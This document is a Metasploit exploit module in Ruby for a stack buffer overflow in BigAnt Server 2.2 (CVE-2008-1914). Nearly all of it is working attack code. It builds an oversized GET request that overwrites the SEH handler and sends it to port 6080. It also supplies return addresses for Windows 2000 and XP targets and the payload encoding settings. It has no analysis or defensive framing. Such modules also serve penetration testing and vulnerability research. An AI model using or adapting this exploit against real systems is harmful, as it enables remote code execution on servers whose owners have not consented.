BigAnt Server 2.2 Buffer Overflow

`##  
# $Id: bigant_server.rb  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BigAnt Server 2.2 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in BigAnt Server 2.2.  
By sending a specially crafted packet, an attacker may be  
able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,   
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2008-1914' ],  
[ 'OSVDB', '44454' ],  
[ 'BID', '28795' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],   
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 15 2008'))  
  
register_options([Opt::RPORT(6080)], self.class)  
  
end  
  
def exploit  
connect  
  
sploit = "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)  
sploit << rand_text_alpha_upper(1024 - payload.encoded.length)  
  
print_status("Trying target #{target.name}...")   
sock.put(sploit + "\n\n")  
  
handler  
disconnect  
end  
  
end  
`